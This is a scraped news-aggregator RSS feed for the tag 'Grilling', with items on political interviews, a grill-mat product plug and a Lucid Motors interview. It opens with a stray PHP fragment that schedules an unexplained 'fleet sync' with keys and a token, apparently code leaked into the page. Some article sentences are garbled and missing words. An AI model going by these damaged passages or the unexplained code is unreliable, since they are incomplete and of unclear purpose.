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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Grilling – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 11 Feb 2021 08:42:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Grilling – Brief News https://briefnews.eu 32 32 BBC Breakfast viewers furious at Matt Hancock holidays grilling: ‘There’s a pandemic on!’ https://briefnews.eu/bbc-breakfast-viewers-furious-at-matt-hancock-holidays-grilling-theres-a-pandemic-on/ https://briefnews.eu/bbc-breakfast-viewers-furious-at-matt-hancock-holidays-grilling-theres-a-pandemic-on/#respond Thu, 11 Feb 2021 08:42:48 +0000 https://briefnews.eu/bbc-breakfast-viewers-furious-at-matt-hancock-holidays-grilling-theres-a-pandemic-on/

Mr Hancock, 43, sparked uproar a couple of weeks ago when he told the public he had booked a holiday to Cornwall for the summer, despite the UK still being in a national lockdown. With Transport Secretary Grant Shapps, 52, and Prime Minister Boris Johnson, 56, urging people not to make plans at the moment, the Health Secretary was put under the spotlight by BBC Breakfast host Charlie Stayt, 58. Taking to Twitter, those watching the BBC news segment at home weren’t too impressed with the line of questioning.

One wrote on the social media platform: “Well @BBCBreakfast are really as rubbish, as usual, this morning. Obsessed with this c**p about booking holidays.

“There is a pandemic on, or has nobody told you yet #bbcbreakfast #bbc,” they continued, with a second adding: “Man books holiday on the off chance he can take his family on holiday…as we all want to do. Not news, move on…#bbcbreakfast.”

A third commented: “Do we really give a s**t about whether someone has booked their holiday or not!! #BBCBreakfast Just how pedantic can it get!!”

“What a load of s**t useless questions #BBCBreakfast,” a fourth remarked.

However, not everyone was opposed to the direction of the interview, as another added to the debate: “Well done Charlie, proper interview with @MattHancock not interrupting but coming back to the original question if it’s not answered #bbcbreakfast.”

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But as the Good Morning Britain presenter interviewed the President of the United States, viewers at home were left distracted by the 71-year-old’s glass of water. 

had a glass of water positioned on a table next to him, which was covered with a paper lid. 

Many of those tuning into the interview, which aired on ITV on tonight, were left baffled by the president drinking habits. 

Viewers took to Twitter to question why he had chosen to cover his glass with the coaster.

“Anyone else distracted by the glass of water with the little paper lid on it?” one person asked. 

While another added: “@piersmorgan, can you answer the question on everyone’s lips… What’s the deal with the lid on the glass of water?”

A third continued: “If there’s one thing more annoying than this entire #TrumpMorgan interview – it’s that paper f**king lid on the glass of water. Drink it you d**khead.”

“Am I the only one wondering why Trump has a paper coaster over his glass of water? #TrumpMorgan,” someone else shared. 

A fifth continued: “#TrumpMorgan I just wanna know what the white thing is on top of that glass of water tbh.”

While many were distracted by Trump’s water, others took to Twitter to voice their opinion on the interview. 

The hour-long special was divisive, with one viewer tweeting: “I’m hooked. There’s no denying this interview is gripping, no matter what you think of @POTUS. #TrumpMorgan @itv.”

However others were less than impressed with another adding: “Literally the most pointless interview #TrumpMorgan.”

During the interview, . 

He told the 52-year-old: “I also give it to people. I had one case where a lawyer did a tweet. I have a man called Daniel Scavino and I have people that are with me and Sarah [Huckabee Saunders].”

Trump went on to add that he often uses the social media app while in bed, noting: “Well, perhaps sometimes in bed, or perhaps sometimes at breakfast or lunch or whatever. Generally speaking during the early morning.”

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]]> https://briefnews.eu/president-trump-stuns-viewers-in-piers-morgan-grilling-as-they-spot-something-very-unusual/feed/ 0 Theresa May faces grilling by her own party as she cobbles together minority govt https://briefnews.eu/theresa-may-faces-grilling-by-her-own-party-as-she-cobbles-together-minority-govt/ https://briefnews.eu/theresa-may-faces-grilling-by-her-own-party-as-she-cobbles-together-minority-govt/#respond Mon, 12 Jun 2017 10:59:24 +0000 http://briefnews.eu/theresa-may-faces-grilling-by-her-own-party-as-she-cobbles-together-minority-govt/ UK Prime Minister Theresa May is set to be questioned on Monday evening by a powerful committee of Conservative backbenchers after leading a disastrous election campaign, which cost the party its majority.

The prime minister will hold talks with the 1922 Committee of Conservative backbenchers, who are expected to raise questions over her leadership and the terms of deal she is seeking with the Democratic Unionist Party (DUP).

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The Tory leader announced on Friday she intends to strike a “confidence and supply” deal with the Northern Irish party, which will give her the numbers she needs to get her legislative program through the House of Commons on June 19.

Cabinet ministers have warned May she must adopt a more “inclusive” approach that would see Conservative MPs becoming more involved in the business of government and policy-making.

Defense Secretary Michael Fallon, who retained his position after a cabinet reshuffle over the weekend, said: “Clearly a minority government requires a different approach. You’ve already seen some changes in personnel in No10 Downing Street. I welcome that, of course.

“It’s going to require a different approach, we’re going to see I hope more collective decision making in the Cabinet, I and other senior colleagues have made that clear to her,” he told the BBC’s Andrew Marr Show.

The chair of the 1922 Committee, Graham Brady, echoed this view and said that a more inclusive approach is a “necessity.

“There’s no doubt that we need to see a much more open and inclusive approach within government and within parliament as well. That’s not just a desirable outcome, it’s an absolute necessity in these circumstances,” he told the BBC’s Sunday Politics program on Sunday.

“Trying to make a hung parliament and a minority government work requires a much more inclusive approach and bringing people into the decision-making process.”

The backbench grilling comes as May seeks to overhaul some of her manifesto pledges, which contributed to the party’s poor election showing.

Rethinking the triple lock, which secures pensions to all, and proposals to means test winter fuel payments are thought to be among the manifesto pledges being shelved in a Tory bid to win confidence votes in the Commons.

Social care plans, which include the much criticized “dementia tax,” would also be overhauled. But the scope for the Great Repeal Bill, which will transfer thousands of EU laws into British ones, is bound to remain in the Queen’s Speech next week.

There has also been speculation that May intends to soften her stance on Brexit following the appointment of staunch EU supporter Damian Green as first secretary, essentially a second in command.

Green’s promotion from the work and pensions secretary brief comes as what was supposed to be a major victory reshuffle for May turned out to be a mere tweaking of her top team. It was feared that major changes to the cabinet could cause further uncertainty and instability for the Conservative Party. 

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Foreign Secretary Boris Johnson and Home Secretary Amber Rudd also held on to their positions. The most surprising addition to the Cabinet was former leadership challenger Michael Gove, who has returned as environment secretary.

But fellow Tory MPs have backed her leadership, including Johnson, who denied he is seeking to topple May. 

“I think they have had enough of this stuff, I think what they want is for the politicians to get on, deliver Brexit and deliver on their priorities, and Theresa May is by far the best person, she is the best-placed person, to deliver that,” the Daily Mail reported him as saying.

May, however, has failed to confirm she will lead for a full term, saying she is only “getting on with the immediate job” for the time being.

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]]> https://briefnews.eu/theresa-may-faces-grilling-by-her-own-party-as-she-cobbles-together-minority-govt/feed/ 0 You can avoid the most annoying part of grilling with this simple kitchen accessory https://briefnews.eu/you-can-avoid-the-most-annoying-part-of-grilling-with-this-simple-kitchen-accessory/ https://briefnews.eu/you-can-avoid-the-most-annoying-part-of-grilling-with-this-simple-kitchen-accessory/#respond Sun, 21 May 2017 19:49:15 +0000 http://briefnews.eu/you-can-avoid-the-most-annoying-part-of-grilling-with-this-simple-kitchen-accessory/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

FS_AmazonAmazonTaking charge of the grill isn’t easy.

You have to keep an eye out for open flames and make sure all of your poultry, patties, and vegetables are cooked to perfection, because nobody wants to bite into an overly-charred burger or drumstick.

The last thing you should worry about after cooking a delicious meal is cleaning up, so why not invest in a grill mat?

A grill mat sits on top of your grill’s grates, and keeps melted cheese or pieces of anything you’re cooking from oozing through the grates and making a mess. You’ll still need to wipe the mat down, but that’s a lot easier than scrubbing your grill after each use.

KONA’s Best BBQ Grill Mat is among the highest-rated mats you can buy for your upcoming barbecues. It’s durable enough to hold everything from sausage links to chicken kebabs. Plus, it can withstand temperatures of up to 600 degrees. A lot of these mats can only be used a handful of times before they start to show any wear, but Kona’s can reportedly survive over 1,000 uses per side.

With a 4.7/5 rating on Amazon after nearly 2,800 reviews, KONA’s mat is a #1 best seller in the “grill toppers” category for good reason:

“These mats have changed the way I grill,” one commenter wrote. “I primarily use them for grilling vegetables like onions, mushrooms, asparagus or zucchini. I also use them for scallops. These mats will eliminate the need for grilling baskets or bowls which are impossible to clean. I still primarily cook my burgers and steaks directly on the grill but I have also seared them on the grill and then moved them to the grill mat to finish the cooking, particularly when they are thick.”

“I highly recommend these [mats] to anyone who has a grill,” said another. 

If you’re planning on spending a lot of time around the grill this summer, you’ll wonder how you ever cooked without this mat.

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To get the full story on the Air, Digital Trends talked to two Lucid Motors executives at the 2017 New York Auto Show. CTO Peter Rawlinson previous worked for Tesla, including as chief engineer of the Model S. Vice president of design Derek Jenkins came to Lucid from Mazda North America, where he served as director of design. His previous credits include the current-generation Mazda MX-5 Miata.

Digital Trends: Lucid Motors started out as Atieva, which supplied electric powertrain components to other companies. How did you transition to making your own cars?

Peter Rawlinson: Atieva started out as a battery-technology company, and got lots of batteries into real-world use. We accrued 20 million miles of data of our batteries in the field, in commercial vehicles. Then we started transitioning from that into complete electric powertrains.

Then I joined the company a few years ago to lead the charge into making it a vehicle company. We secured Series C funding, and then brought a world-class team together to do the Lucid Air. So three steps: batteries, powertrain, car. That started back in 2007. So although we’re branded as a startup, it’s been a long process.

DT: What was the thinking behind becoming a vehicle company instead of just a supplier?

PR: There was an ambition, there was a recognition that that was the future. I think it’s very clear that the world is going to move to electric [cars], and I think very clear that taking an integrated approach, that’s the way to get the maximum value. If you start designing these things, like a battery pack, individually, you don’t get the real potential.

Now, we never would have been able to do this if we didn’t have this world-class powertrain technology. We’ve been doing this for years, and that’s a key differentiator. It isn’t easy to get to this level.

DT: What distinguishes the Lucid Air from, say, a Tesla Model S, or the luxury electric cars several established automakers are planning?

PR: It’s a bit of a myth that traditional OEMs are getting into electric [cars]. As for the other electric-car contender, the Air is smaller and lower than a Tesla Model S, but with the interior space of an S-Class Mercedes. It’s more like an E-Class Mercedes on the outside, and an S-Class on the inside.

DT: And the Air will come prepped for autonomous driving?

PR: Lucid Air will be Level 4/Level 5 autonomous ready from the get go, when it goes into production in 2019, in terms of the hardware. We will have to wait for the software, and for legislation, to allow that switch-on through an over-the-air download of the software.

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So when I say it’s hardware enabled: It’s got dual-redundancy in steering and braking. It’s got a full sensor suite of cameras, lidars, and radars, both long and short range, to allow for sensing in inclement weather conditions and strange lighting circumstances. We recently announced our partnership with Mobileye on their sensing technology.

DT: Will the software be ready to go when you launch the car?

PR: No. The car will be ready to go in terms of hardware. We anticipate being Level 3 ready at launch. For a Level 4/Level 5 [capability], legislative requirements would have to be satisfied, and we will partner with someone for the software, because we see that as a very significant task.

We’ll have a car with all hardware elements designed in, the lidars, the radars, and the camera systems. Also we’ll have massive onboard data processing for file compression, and also a terabyte of onboard data storage. So you have an integrated system ready for a software download over the air, which will enable full autonomy.

DT: Derek, we talked a little bit about interior space, and fitting it into a relatively compact platform with an electric powertrain. Can you talk a bit about exactly how that worked from a design perspective?

Derek Jenkins: First of all, because we’re repackaging the car, we’re not having to lay out such a large internal-combustion engine. We’re able to distribute the space throughout the vehicle. So proportionally the cabin of the car is much longer, much more drawn out. The hood of the car is much shorter, giving it that space.

Inside the car, it’s really a feeling of this openness, this airiness, hence the name Lucid Air. That really kind of accentuates what we believe is a form of new luxury. It’s not the kind of luxury that’s heavy and guarded. It’s more open, like a living space, and that’s a big part of the overall mission of the design.

DT: Are there any models planned after the Air?

PR: We are creating a new brand and a new company, and the Air is our first product. We are looking at other products placed upon this platform, but we’ve got loads of focus on this first product, because this is an enormous task. We have to get this right first.

DJ: What’s important to realize is that the philosophy of, the technology of, the drivetrain, how we package that, and this idea of redefining segmentation through space and size, that is applicable through a whole range of products. That’s exactly our approach.

DT: The Air itself launches in 2019. At full production, how many are you expecting to build per year?

PR: We anticipate about 50,000 units a year from our plant in Arizona. But the first year we’ll probably make about 8,000 to 10,000, and gradually ramp it up to 50,000 over about three years, with great emphasis upon quality control.

DT: Why start with a luxury car?

PR: Because the business model makes so much sense, when we consider the current price of batteries. Also, we want to deliver a technical tour de force as a first product, to establish the value of the brand. I think that those two arguments make as much sense today as they ever have.

You start with a relatively high-end product, and then you can cascade down and make products more reachable and affordable. But Lucid Air starts from $ 60,000.

DT: Do you see the brand going more mainstream further down the line, or will it always be a luxury or premium brand?

PR: I can see that happening in the future.

DJ: I think long term that would be the ideal goal, but you know, as Peter said, it’s so fundamental to establish yourself as really a true leader in all of the key areas for this technology.

DT: The Air will have up to 1,000 horsepower and a 217-mph top speed, but it will also be heavily reliant on autonomous-driving technology. Is this a car for drivers, or a car to ride in?

PR: It’s augmented by autonomous-driving technology; it’s not reliant upon it. I love driving. This a car for drivers, that’s why it’s more compact. This is what’s great about this car: traditionally you’ve got this clash, this paradox, between a driver’s car, and a luxury sedan to ride in.

Because it’s more compact, it’s more agile, it’s a magnificent driving machine. It’s got fully active suspension, active damping, and we can have great ride quality and great handling. But it’s got this incredible interior space, which makes it a great car to ride in as well. That’s why it’s so disruptive.

DJ: We’re in a critical time of transition, right? We look at, we imagine, where the next 10 years will go with autonomous driving, and how that will influence the automobile. But when we look at the near term, and we look at the luxury consumer, there’s a transition where you need to do many things very, very well to be successful, in addition to being autonomous.

That’s really where, being a great driver’s car, being a great car to be driven in, is really ideal, together with these technologies.

DT: Do you have any plans for charging infrastructure to support the car, or will you rely on third parties?

PR: The current plan is to be part of the integrated charging network, not create our own. But one of the features of this car is we have two-way charging built in, so we can charge from the grid to the car, and from the car to a mini grid.

DT: Do you see the Air being used for ride sharing? Would you promote that yourself, or work with someone else?

PR: We need to get the car out first. That opens up a whole raft of possibilities.

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DT: But you do see ride sharing as being a big possibility for this car?

PR: Absolutely. I certainly see this being very well suited to ride sharing.

DT: What specifically are you still working on to get the Air ready for production?

PR: Some of the finessing of some of the surfaces, some of the feasibility, some of the door jambs, some of the door hinge systems. Scalloping away a bit of interior trim to help with ingress and egress, some of the things we’ve learnt.

Then on the technical side, leaning from our testing. We’ve had great winter testing; you may have seen some of our cars testing in the snow in Minnesota. We’re just about to announce the results of our high-speed testing. [Lucid subsequently announced the Air had achieved a top speed of 217 mph on a track in Ohio].

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